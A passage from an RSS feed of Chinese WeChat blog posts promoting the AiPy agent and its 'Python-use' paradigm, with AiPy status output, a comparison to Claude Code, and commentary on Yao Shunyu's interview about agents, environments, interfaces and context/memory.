leaf="">┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓</span></code><br/><code><span leaf="">┃                                                               <span class="code-snippet__keyword">System</span> Information                                                               ┃</span></code><br/><code><span leaf="">┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛</span></code><br/><code><span leaf="">                                                              <span class="code-snippet__keyword">Current</span> Configuration</span></code><br/><code><span leaf=""> • Working Directory: <span class="code-snippet__operator">/</span>Users<span class="code-snippet__operator">/</span>xxxx<span class="code-snippet__operator">/</span>aipython<span class="code-snippet__operator">/</span>aipyapp<span class="code-snippet__number">-0.4</span><span class="code-snippet__operator">/</span>aipyapp<span class="code-snippet__operator">/</span>work</span></code><br/><code><span leaf=""> • <span class="code-snippet__keyword">Current</span> LLM: trustoken<span class="code-snippet__operator">/</span>trust:auto</span></code><br/><code><span leaf=""> • <span class="code-snippet__keyword">Current</span> Role: aipy</span></code><br/><code><span leaf=""> • Display Style: classic</span></code><br/><code><span leaf="">                                                              Detailed <span class="code-snippet__keyword">System</span> Status</span></code><br/><code><span leaf=""> ## <span class="code-snippet__keyword">System</span> Details</span></code><br/><code><span leaf=""> <span class="code-snippet__operator">-</span> Python Version: <span class="code-snippet__number">3.13.0</span> (main, Oct <span class="code-snippet__number">16</span> <span class="code-snippet__number">2024</span>, <span class="code-snippet__number">09</span>:<span class="code-snippet__number">15</span>:<span class="code-snippet__number">13</span>) [Clang</span></code><br/><code><span leaf=""> <span class="code-snippet__number">18.1.8</span> ]</span></code><br/><code><span leaf=""> <span class="code-snippet__operator">-</span> Python Executable: <span class="code-snippet__operator">/</span>Users<span class="code-snippet__operator">/</span>xxxx<span class="code-snippet__operator">/</span>aipython<span class="code-snippet__operator">/</span>aipyapp<span class="code-snippet__number">-0.4</span><span class="code-snippet__operator">/</span>aipyapp<span class="code-snippet__operator">/</span>.venv<span class="code-snippet__operator">/</span>bin<span class="code-snippet__operator">/</span>python3</span></code><br/><code><span leaf=""> <span class="code-snippet__operator">-</span> Platform: darwin</span></code><br/><code><span leaf=""> <span class="code-snippet__operator">-</span> <span class="code-snippet__keyword">Current</span> <span class="code-snippet__keyword">User</span>: xxxx</span></code><br/><code><span leaf=""> <span class="code-snippet__operator">-</span> <span class="code-snippet__keyword">Current</span> Directory: <span class="code-snippet__operator">/</span>Users<span class="code-snippet__operator">/</span>xxxx<span class="code-snippet__operator">/</span>aipython<span class="code-snippet__operator">/</span>aipyapp<span class="code-snippet__number">-0.4</span><span class="code-snippet__operator">/</span>aipyapp<span class="code-snippet__operator">/</span>work</span></code><br/><code><span leaf=""> <span class="code-snippet__operator">-</span> Home Directory: <span class="code-snippet__operator">/</span>Users<span class="code-snippet__operator">/</span>xxxx</span></code><br/><code><span leaf=""> ## Task Statistics</span></code><br/><code><span leaf=""> <span class="code-snippet__operator">-</span> Total Tasks: <span class="code-snippet__number">0</span></span></code><br/><code><span leaf="">──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span></code><br/><code><span leaf="">Use <span class="code-snippet__comment">--detail flag for comprehensive system information</span></span></code><br/></pre></p><p><span leaf="">当然还有一些细节的区别，比如对应的命令及skills对模型支持指定，因为claude code本身不需要对其他家的模型做兼容，所以它可以很好的指定对应的模型去做对应的命令或者skills，而AiPy是多模型支持的，不是很方便去指定对应哪家的哪个模型。</span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">“大厂放个屁都是香的”</span></span></p><p><span leaf="">这个是大厂的先天优势，所以只有“羡慕嫉妒恨”的份，回想一下Python-use范式（AiPy）发布后到现在，其实我自认为我们还是做了很多独创性的工作的，甚至我们AiPy都比Claude Code发布还早，<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484330&amp;idx=1&amp;sn=a17447ffd6c859e14d05adf61f76f1ea&amp;scene=21#wechat_redirect" textvalue="[大模型时代的行为艺术] 从0基础到纯血鸿蒙APP开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">更早的实践了真正的Vibe Coding</a>  最早的提出并实现<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484413&amp;idx=1&amp;sn=583de95c7b2f0cb6daff2c4dbf08b674&amp;scene=21#wechat_redirect" textvalue="从 Vibe Coding 到 Vibe Working" data-itemshowtype="0" linktype="text" data-linktype="2">Vibe Working</a>  ... 当然这些都是“然并卵”的事情，对于用户来说你用什么范式，用什么技术其实都不重要，重要的是你能真正解决问题 ...</span></p><p><span leaf="">只是可惜的是具体ChatGPT大火已经三年了，很多的的意识却还没有转变，今天我又在我们VIP群里发了“黑哥尔的模型三大定律”，引起共鸣。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000705" data-ratio="0.9953125" data-s="300,640" type="block" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a8235e46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdIGSZWlof8kfVos5b7ruUpo3pcxAqbm9QD59zBicbpLib2pl6tibV2lAESw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">对于技术社区的朋友，其实我是比较建议去关注并了解下某个技术或者产品的更新发展的脉络，这样能更好的理解来龙去脉。另外现在还有Agent开发者在纠结通用还是垂直，这个在之前的文章里我也提过这个实际上不是技术问题，而是产品定位及市场定位等综合问题，理论上通用类型的也可以做垂直定制深挖。</span></p><p><span leaf="">而且我注意到现在还有一个更可悲的事实：“<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484330&amp;idx=1&amp;sn=a17447ffd6c859e14d05adf61f76f1ea&amp;scene=21#wechat_redirect" textvalue="当你拥有了超能力后，你根本不知道自己要做什么" data-itemshowtype="0" linktype="text" data-linktype="2">当你拥有了超能力后，你根本不知道自己要做什么</a>” ，其实很多Agent的场景很多是脑补出来的需求，然后即使是常用的真正有价值场景可能还非常有限，而现在更需要扩展更多的场景，充分发挥大模型的在这种不通领域不同场景中的价值，这种才能最大程度的释放大模型的能力，解放大模型。</span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">其他</span></span></p><p><span leaf="">实际上通过Code的方式，其实还有很多其他的优势，比如前面在一个群里有群友提到另外一个与AiPy类似的项目：X-Master</span></p><p><span leaf="">论文：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">SciMaster</span>: Towards General-Purpose Scientific AI Agents, Part I. X-Master as Foundation: Can We Lead <span class="code-snippet__literal">on</span> Humanity&#39;s Last Exam?</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">https</span>://arxiv.org/abs/<span class="code-snippet__number">2507</span>.<span class="code-snippet__number">05241</span></span></code><br/></pre></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000795" data-ratio="0.562962962962963" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=be690d08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDnSSzsicLp3zw5hibhzRoA31zMu6kicB5j9Q0TmsrGtzwg0L7iaTlcFBiagA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">X-Master其实是CodeAct的方式去实现了Deep Research，实际上通过Agent的方式来处理格式化完成的数据是回减少很多幻觉的，比如之前测试数学随机乘法让模型直接出结果很可能出现幻觉而且可能还没办法肉眼验证是不是正确，而换在Code-use范式的场景这个问题就不存在了，而在通过搜索来找问题答案场景，这个也是一样的通过Agent的方式可能更加，当然这个不能解决SEO/GEO被污染的问题。后面我通过AiPy调用Google等搜索API 然后做了一部分的测试包括X-Master带的一些测试都是没有问题的：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000796" data-ratio="0.8296296296296296" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cbc6be27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDzicYJmHVFuCYSCibashEWpvR64mevoITgmyrnhxA4ModolkbVp2VEBlQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247484450">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=07a7a614&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484450%26idx%3D1%26sn%3D4f1271dbd048b457327a5bf59e171e63">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 10 Dec 2025 17:07:00 +0800</pubDate>
    </item>
    <item>
      <title>Code是AI的手：姚顺雨访谈与Python-Use范式的对话</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484432&amp;idx=1&amp;sn=08f9bc756097a23e7add75ed2460b8ff</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>heige</span> <span>2025-10-02 17:50</span> <span style="display: inline-block;">湖南</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=00211473&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswWQAJXCAK3qzUWqupQOyLXPqcO4r9bs6u24W4Sdic6ocDZNFRjice8qznTClpdrxAgR8CvJLXprY5Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000781" data-ratio="1" data-s="300,640" type="block" data-type="png" data-w="1024" src="https://wechat2rss.xlab.app/img-proxy/?k=dc108df8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswWQAJXCAK3qzUWqupQOyLX3rtyiaS6FXGH0HNsVg7KdibCbQZa1NSJ8oiaIRLHwcOkxQ9vsia5DsWSyg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">（上图由ChatGPT生成）</span></span></p><p><span leaf="">前面在朋友圈推荐过姚顺雨的一个采访文<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzE5ODg1MTY4Mw==&amp;mid=2247484634&amp;idx=1&amp;sn=f5b74eec6f9015075388fc324633acf3&amp;scene=21#wechat_redirect" textvalue="《独家对话OpenAI姚顺雨：生成新世界的系统》" data-itemshowtype="0" linktype="text" data-linktype="2">《独家对话OpenAI姚顺雨：生成新世界的系统》</a>  说实话在看到这篇文章之前，我并不知道他是谁，也没有读过该文开头提到的他那篇有名的博文《The Second Half》</span></p><blockquote><p><span leaf=""><a href="https://ysymyth.github.io/The-Second-Half/" target="_blank">https://ysymyth.github.io/The-Second-Half/</a></span></p></blockquote><p><span leaf=""><br/></span><span leaf="">但是大概看了下这篇文章后，发现有很多的共鸣的地方，于是我读了很多遍，内容有点多，所以我不得不得动用我最高阅读礼仪：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000775" data-ratio="0.7490740740740741" data-s="300,640" type="block" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5df7f08b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswWQAJXCAK3qzUWqupQOyLXEs71Jl9akj09Gf2T3Dk3JTXicTzjA3iag1IgU8aicO8hEwYZKbFWmSbrw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">我数了一下，有个8页笔记（比较凌乱），一般我这个动作是为我写文章做会做一些记录或者提纲才会去这样做的，所以其实你们看到的我写的公众号内容，基本都是来自于我自己的思考跟理解，当然很多文章里有大量关联性引用及细节问题，可能导致我写的内容不是那么方便阅读，只是希望能遇到有缘人，引起一些共鸣！</span></p><p><span leaf="">所以在看下面的内容之前，除了需要先看看上面开头提到的采访，还可能需要看看我之前的写的相关文章：</span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484350&amp;idx=1&amp;sn=597466021965564fe0b88789ec36e7f2&amp;scene=21#wechat_redirect" textvalue="【Agents/MCP可能不存在了】No Agents, Just Python-use！" data-itemshowtype="0" linktype="text" data-linktype="2">【Agents/MCP可能不存在了】No Agents, Just Python-use！</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484380&amp;idx=1&amp;sn=cd6f91d7432b3392cc79c81f5187d467&amp;scene=21#wechat_redirect" textvalue="AI Agent真正落地的关键：大模型与环境数据的无限扩展能力" data-itemshowtype="0" linktype="text" data-linktype="2">AI Agent真正落地的关键：大模型与环境数据的无限扩展能力</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484413&amp;idx=1&amp;sn=583de95c7b2f0cb6daff2c4dbf08b674&amp;scene=21#wechat_redirect" textvalue="从 Vibe Coding 到 Vibe Working" data-itemshowtype="0" linktype="text" data-linktype="2">从 Vibe Coding 到 Vibe Working</a></span></p><p><span leaf="">姚顺雨这个名字挺有意思：谐音（“尧舜禹”）他的主要方向是AI Agent的方向，据他自己在采访里说：“到现在6年了”，然后大家都知道我们前面做了个一个叫AiPy的Agent，目前我大部分的关注点也在这一块，所以我前面说的共鸣主要还是在于Agent相关的部分。</span></p><p><span leaf="">大家的认知都是不一样的，尤其是在大模型领域，所以每个人可能对Agent的认知也是一样的,在姚的采访里提到的Agent实际可能跟我们现在日常谈论的Agent还存在一些差别，姚搞的Agent实际上是一个更大的概念，因为他是从我们熟悉的LLM之前就有Agent，也就是采访文里提到的“传统的Agent”，而我们大部分的认知是在LLM诞生之后的，这个阶段是“Language Agent”，在姚采访第二部分就给出了Agent的定义：</span></p><blockquote><p><span leaf="">“任何能进行自我决策、与环境交互，并试图optimize reward（优化奖励）的系统，都可以被称为Agent。”</span></p></blockquote><blockquote><p><span leaf="">“你可以说AlphaGo是Agent，也可以说Waymo是Agent，甚至可以说机器人是Agent” </span></p></blockquote><p><span leaf="">所以这个大家就可以同频理解Agent了，在这个Agent的理解里核心在于 “环境（Environment）”--&gt;&#34;执行（Action）&#34; 对于“环境”这个词来说，姚在采访里提到过很多次，你可以把这个“环境”理解为“方向”，在“传统的Agent”里选择一个好的“环境”也就是“方向”对研究者来说至关重要，所以姚反复提到了“我们需要一个更好的环境”，从他的研究经历确实是这样的，在LLM（大语言模型）出来之前，这个尤为重要，在这里需要提到另外一个采访里出现比较多的一个词“泛化”，因为在LLM出来之前，都是具体的细分的领域比如AlphaGo、用来打Dota等，而这些Agent最大的问题是没办法“泛化”，也就是不太好用下围棋的AlphaGo的模型去玩Dota，所以“环境”对于姚这种选手有着至关重要的“执念”，直到LLM的出现，尤其是在GPT3.5出来后，大语言模型本身通过语言能力实现了“泛化”，通用的Agent成为可能。由此进入“Language Agent”：</span></p><blockquote><p><span leaf="">“第三波Agent是从大语言模型开始的。我们发现它可以做推理，而基于推理，就能进入一些新的环境，比如编程、互联网、各种数字环境。这些数字环境有一个共性：大多数都是基于语言的，需要推理。”</span></p></blockquote><p><span leaf="">又回到了“环境”，与环境的“执行（Action）”成为关键！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">Environment（环境）</span></span></p><p><span leaf="">而姚认为Code是“某种程度上，是AI最重要的affordance（环境给予行动者的可能性）”，他认为：“<span textstyle="" style="font-weight: bold;">Code有点像人的手</span>”，“对于物理世界，人最重要的affordance是手——我们围绕它制造各种工具，比如锤子、笔、筷子。但对AI、对Digital Agent（数字智能体）来说，<span textstyle="" style="font-weight: bold;">最重要的affordance可能就是code。</span>”</span></p><p><span leaf="">而这个理念简直就是我们之前提出的AiPy使用的Code-use（Python-use）范式理念简直一模一样！而在接下来的采访里姚还提到了：</span></p><blockquote><p><span leaf="">“更广义说，你可以认为API也是code的一部分。任何基于code的接口，都属于code环境的一部分。有个非常经典的debate（争论）：最终的AGI，是基于API或code的？还是基于GUI（图形界面）？或者是为人定义的前端环境？还是它是一个混合体（mix）？”</span></p></blockquote><p><span leaf="">还记得我们Python use的架构了有个核心的设计“API Calling”吗？API Calling + Python Packages Calling + Python解释器 = “万物互联” + “万物编程” + “万境直通”。</span></p><p><span leaf="">只是姚还有一个比较纠结点，那就是GUI，这个也就是我在《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》里提到的，类似于Claude的Computer-Use范式，基于模型的“视觉理解”的那种“泛化”效果，不过目前来看后续依赖纯“视觉”的GUI操作有点乏力，后续一些厂商提出手机或者PC上的一个自动化操作GUI的多少有点Agent 1.0（基于“剧本”工作流）结合操作。</span></p><p><span leaf="">不过在后续姚也指出：“你是想改造你的车让它适应所有路，还是改造所有路让它适应现在的车？很多时候，现实中并没有现成的API，只有GUI。但你可以人为为它构造一个API。” 这个其实跟我们提出的 API Calling + Python Packages Calling 的思路高度一致了，当你的能力覆盖不到的时候你可以通过构造API或者Package来实现，当然实际上到目前为止Python的生态已经足够强大而且还在AI时代还在不停扩展！这个也是为什么我们选择Python use来代表Code use的根本！</span></p><p><span leaf="">显然上面这些都是让我引起“共鸣”的核心关键点，但是在通读整骗的采访里，你会发现还是有一些不一样的理解？在提这个之前，我们得先提下姚在采访里提到另外一个比较多的词：“Interface”</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">Interface（交互方式）</span></span></p><p><span leaf="">其实我对这个词还是挺奇怪的，这个可能是我英文不太好，也没看过原采访视频不知道当时是用英文采访还是中文。在我看姚的采访里给最开始的印象认为他理解更加趋向于“产品”方向的，当然深度看到后面的采访可以看出他理解肯定也是“环境的交互”，所以其实我更加喜欢Action+feedback的表述，在我之前的文章里多次提到环境的交互是源于 “The Model is the Product”里的那个经典图，参考<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484380&amp;idx=1&amp;sn=cd6f91d7432b3392cc79c81f5187d467&amp;scene=21#wechat_redirect" textvalue="《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》" data-itemshowtype="0" linktype="text" data-linktype="2">《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》</a></span></p><p><span leaf="">姚在访谈里多次强调了Interface的重要性，甚至认为：“创业公司最大机会是：设计不同的interface”，就这个问题在多个章节都有提到，他举了很多例子比如Cursor、Canvas或Artifacts 这也是给我的最初的印象可能是关于“产品”交互的，但是当我看到后面聊“对于未来12到24个月，Agent领域有可能发生的事情，你有哪些预测？”的回答：</span></p><blockquote><p><span leaf="">姚顺雨：首先，这些模型公司的Chatbot系统会演化成一个很自然的Agent系统，它是一个很自然的过渡。</span></p><p><span leaf="">Grok、ChatGPT或Anthropic Cloud，默认的交互方式会是Agentic（智能体式的）交互方式。Chat可能还会保留或作为一个子集，但Agent会成为一个很显然、更重要的交互方式。</span></p><p><span leaf="">会有新的类似Cursor的产品出现，Cursor是在coding和IDE（集成开发环境）环境下做的Copilot（辅助编程助手），但我觉得会有机会做一些新的环境或更大环境下的Copilot。</span></p></blockquote><blockquote><p><span leaf="">这两种大的交互方式是互补的，或者说不一样的正交的。</span></p><p><span leaf="">一边是，我有一个基于模型的，可能是一个remote（远程）的Virtual Machine（虚拟机）或者Environment（环境），我在里面做很多事；另一边是，有很多既有的环境，比如既有的软件，或者既有的场景，我把Agent或AI能力引进去。</span></p><p><span leaf="">大趋势可能是，两方面都会往下发展。</span></p></blockquote><p><span leaf="">由此可以看出对于深层次的Interface的理解是还是对于环境的，在某种角度上跟我的理解还是有一定的出入，或者说角度有不一样的地方，我认为的环境交换落地在于数据（参考<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484380&amp;idx=1&amp;sn=cd6f91d7432b3392cc79c81f5187d467&amp;scene=21#wechat_redirect" textvalue="《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》" data-itemshowtype="0" linktype="text" data-linktype="2">《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》</a>）：</span></p><blockquote><p><span leaf="">LLM与环境（数据）的交互关系是智能化落地的根本</span></p></blockquote><blockquote><p><span leaf="">我觉得Agent 2.0这种方式的本质在于LLM与环境（数据）的无障碍自由的交互，这才是LLM能力根本性落地。Python-Use范式实现的就是“数据在哪里，模型能力就要覆盖到哪里”，真正实现“数据驱动模型”实现“智能”。</span></p></blockquote><p><span leaf="">所以当我看到上面这段姚提到“会有新的类似Cursor的产品出现”的时候，我只想说其实这种与环境直接交互的已经出现了：AiPy就是？！确实也符合“新的环境或更大环境下的Copilot”，当然我觉得姚在这个方向上的思考更趋向于基于一OpenAI公司视角下的“环境”，具体点可能更加趋向于他在采访里也是多次提到的Super App。</span></p><p><span leaf="">在姚的采访中有一句话：“如果你做一个和ChatGPT形态很不一样的东西，是会有机会的”，这句话说得比较委婉，翻译下：“如果你做的东西ChatGPT都能做的话，他们都会做！”，当在上面回答其实也提到了就是模型厂商会从一个Chatbot的范式逐步往Agentic的交互方式，最终形成一个“Super App”，一个中性化的超级“环境”，而这个形态更趋向于Manus那种云端模式，而这正是我之前<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484413&amp;idx=1&amp;sn=583de95c7b2f0cb6daff2c4dbf08b674&amp;scene=21#wechat_redirect" textvalue="《从 Vibe Coding 到 Vibe Working》" data-itemshowtype="0" linktype="text" data-linktype="2">《从 Vibe Coding 到 Vibe Working》</a>里提到的Agent未来：</span></p><blockquote><p><span leaf="">这些能在云端实现的Agent，没有与环境私有数据沟通能力的Agent，甚至包括很多的大模型周边的生态位衍生的能力或者产物，最终都得被大模型“内化”！</span></p></blockquote><p><span leaf="">而我对于”环境“的理解更加趋向于“数据”，“数据决定了大模型能力的上限”，Agent时代是数据找模型，也就是上面提到的“数据驱动模型”。</span></p><p><span leaf="">根据姚的采访及实际观察到的，从最近的OpenAI的ChatGPT及Anthropic的Claude线上一系列更新来看，比如线上Chatbox模式开始推出Agent方式，包括MCP等的支持等动作，大模型厂商已经开始各自进化他们的“Super APP”，这个点其实非常有意思，之前我在朋友圈及文章里提到了Anthropic与OpenAI方向上的存在分歧的问题：Anthropic一直聚焦在编码这个角度而OpenAI展示的就是我全要。不过到现在Anthropic从Claude Code出现，觉醒了“Code use“范式在Agent方向的应用（参考<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484413&amp;idx=1&amp;sn=583de95c7b2f0cb6daff2c4dbf08b674&amp;scene=21#wechat_redirect" textvalue="《从 Vibe Coding 到 Vibe Working》" data-itemshowtype="0" linktype="text" data-linktype="2">《从 Vibe Coding 到 Vibe Working》</a>），而OpenAI从Manus那看到了云端Agent的展示效果，其实姚在采访里也提到了Openai“抄袭”Manus（插一句：姚在采访里多次提到Cursor和Manus，其实这个也算一个共鸣的点，因为我每次提到大模型应用相关的就会提到Cursor和Manus，在我以往的文章里也提到一些具体的点），当然他用的是“互抄”这个词，所以Anthropic与OpenAI，甚至包括其他的国内国外的模型，最后可能大家可能又回归到了同一条路：Super App（Super Agent）。</span></p><p><span leaf="">至于PC、手机等OS上可能是另外一个表现形式，我一直认为：OS、APP、模型厂商之间必有一战，当然这种可能是一个长期入口之争！</span></p><p><span leaf="">在姚的采访中还提到了对于创业而言，这个感觉创业者在“Super App”上没有机会了，对于这个问题姚的回复还是比较有意思的：一是大厂的形态一旦固定，可能就把资源趋向于这个形态，而没有精力去关注新的交互方式，所以才有那句：“创业公司最大机会是：设计不同的interface”，当然我也觉得姚没有把这话说完整，后面可能是：你找到了不同的interface，你也就找到了给OpenAI抄袭的机会了（有点跑题了） ... 姚的原话是：</span></p><blockquote><p><span leaf="">对于创业公司，最好的机会是：你做新的交互方式，并且模型不停有新的溢出能力，让你能够赋能这些新的交互方式——两者缺一不可。</span></p></blockquote><p><span leaf="">这个点其实跟我们的理念也是有共鸣的，我们的“Python-Use（Code-Use）”范式，一个核心的理念是：充分发挥大模型的能力，最终追求的是“Freedom AI（AGI）”。模型越强，那么我们的AiPy对环境交互能力越强，完成的任务能力就越强！</span></p><p><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">「环境交互决定智能边界，智能不是缺能力，而是缺环境接口。 Python-Use 的使命就是把被封印的能力解放出来。」</span></span></p><p><span leaf="">我们这里小节一下对于“Environment（环境）” 和 “Interface（交互方式）” 理解上，姚看到更多的是偏“产品”方向上怎么构建一个更大的更通用“环境”，并通过模型“泛化”的方式去理解并与环境进行交互，而我的理解更加趋向“数据”，我觉得这两个方向，都是非常值得思考和关注的点，可能看到不一样的点。</span></p><p><span leaf="">在“产品”角度的视角，我最近看到一个比较有意思的观点：“Chat式的AI交互是一种束缚”，然后我最近也看到一些创业项目，确实有那么点意思，不再局限于Chatbox的交互方式，而我之前的观点在于在LLM时代所有的产品都值得被重塑，看来这个重塑还得包括LLM本身相关的产品。</span></p><p><span leaf="">这种觉得这种观点倒是不是最重要的，因为说出这个观点的人的具体的理解可能跟我的或者看官你的可能都不一样，我觉得最大的问题在于：我们在做LLM相关产品时，不会去思考或者纠结Chatbox是不是不是最合适的交互方式？ 这种意识的觉醒才是最重要的！</span></p><p><span leaf="">所以我非常认同姚说的：“我们的想象力仍被以往的交互方式所限制，还有许多尚未诞生的交互方式。这些新的交互方式，会改变我们的世界”，而且我认为AiPy背后的Python-Use范式或者说Code-Use范式就属于这类范畴！</span></p><p><span leaf="">从姚提出的“Super APP是一把双刃剑”我认为这可能是他关于上“交互方式限制”的反思：OpenAI或者他是否也被“Super APP”所限制？！因为我在姚关于Agent Infra（智能体基础设施）问题上的纠结：</span></p><blockquote><p><span leaf="">两年内还是会有些Super App，这些Super App会有各自的Infra，有各自的Environment或交互方式。</span></p><p><span leaf="">两个事情都可以做到极致，就是一个是基于用户local（本地）的Digital Environment（数字环境），比如我有个手机，有个电脑，有个软件，我已经在这了，我怎么把它去扩充，怎么把它变得更好？</span></p><p><span leaf="">另一个是从头创造新的Environment，比如我做Deep Research或我做Operator（操作者），我实际上创造一个新的Environment。这两个事都还有很多可做的空间。</span></p></blockquote><p><span leaf=""> 其实我觉得某种角度上看，Python-use = Agent Infra 的“捷径”，可能是最优落地路径。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">Context（上下文）或 Memory（记忆）</span></span></p><p><span leaf="">在姚的采访里有大量的内容是涉及Context（上下文）+ Memory（记忆），印象深刻的是他用人来说明环境与Context的关系：“只有人有这样的能力：进入一个环境，获得这个环境里的Context。”</span></p><p><span leaf="">当你人接触到一个环境时，产生的所有“交互”数据就是上Context，而要对这些内容的处理就是 Memory，当然这个处理会相对比较复杂，比如存储，再次提炼学习等，而上面我们提到的“Environment（环境）” 和 “Interface（交互方式）”最终可能落地到就是这个Context（上下文）或 Memory（记忆）的处理上，结构有点类似：</span></p><p><span leaf="">LLM &lt;--&gt; 记忆层(上下文) &lt;--&gt; 环境</span></p><p><span leaf="">在不同的环境形成不同的记忆层，那么对环境交互“泛化”上的处理可能在于对这些数据再处理，比如通过在某个环境的交互中形成的“长记忆”。</span></p><p><span leaf="">当然我也一直认为Memory与Context本身是一起的，<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484380&amp;idx=1&amp;sn=cd6f91d7432b3392cc79c81f5187d467&amp;scene=21#wechat_redirect" textvalue="在Python-use范式的架构图" data-itemshowtype="0" linktype="text" data-linktype="2">在Python-use范式的架构图</a>里， 我把上下文部分设定为Action对应的“Feedback” + “Memory”了，在我们当时的设计里这部分的设计算是第二期工程，因为我们优先是要把这个范式落地了，而我们现在AiPy的一个核心开发点也聚焦在Context（上下文）+ Memory（记忆）这一块，这个问题是所有做Agent必然会面临的问题。要不然大神Andrej Karpathy在带火“Vibe Coding”后再一次带火了“Context Engineering”</span></p><p><span leaf="">在我的理解里上下文目前主要是两个问题：一是上下文爆炸的问题，二是注意力的问题。而这些都是非常让人头疼的问题，目前解决上下文问题主要是两个方向：</span></p><p><span leaf="">1、模型能力提升</span></p><p><span leaf="">在这里目前有出现了两个方向：一是：大力奇迹 支持大的上下文，可以看看下图：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000776" 